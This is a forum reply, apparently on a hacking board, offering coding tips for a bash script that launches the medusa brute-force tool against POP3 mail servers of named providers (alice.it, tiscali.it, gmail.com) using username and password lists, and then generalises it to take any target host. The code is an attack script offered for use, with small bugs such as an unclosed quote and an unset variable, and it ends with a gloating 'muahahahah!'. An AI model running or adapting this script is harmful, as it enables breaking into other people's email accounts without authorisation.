A couple of tips: instead of calling medusa for each host in each case, just get the host using case and pass that to medusa. There's also no need to >root.txt if you're just going to rm it in the next line.
Since host is the only variable that changes (from what I can tell in your script), then the above should work just fine.Code:host="" echo -n ' mail server to attack A(alice.it) or T(tiscali.it) or G(gmail.com) ? ' read mail case $mail in A) host="in.alice.it ;; T) host="pop.tiscali.it";; G) host="gmail.com";; *) sleep 1 echo " ****COMMAND NOT SUPPORTED**** " esac rm crack.txt xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt -O /root/crack.txt -P pass.txt -f -M pop3 xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo " BYE look at crack.txt-window"
If you want to make your code even more concise and support more hosts without having to change the script, consider passing the host as the parameter to the script:
Now you're not limited to the three hosts you hardcoded, and anyone who uses your script can specify their own target through the command line:Code:#!/bin/bash if [[ -z ${1} ]]; then echo "usage: `basename ${0}` host" exit 0 fi rm crack.txt xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt -O /root/crack.txt -P pass.txt -f -M pop3 xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo " BYE look at crack.txt-window"
hackount.sh example.com
Good luck.


muahahahah!
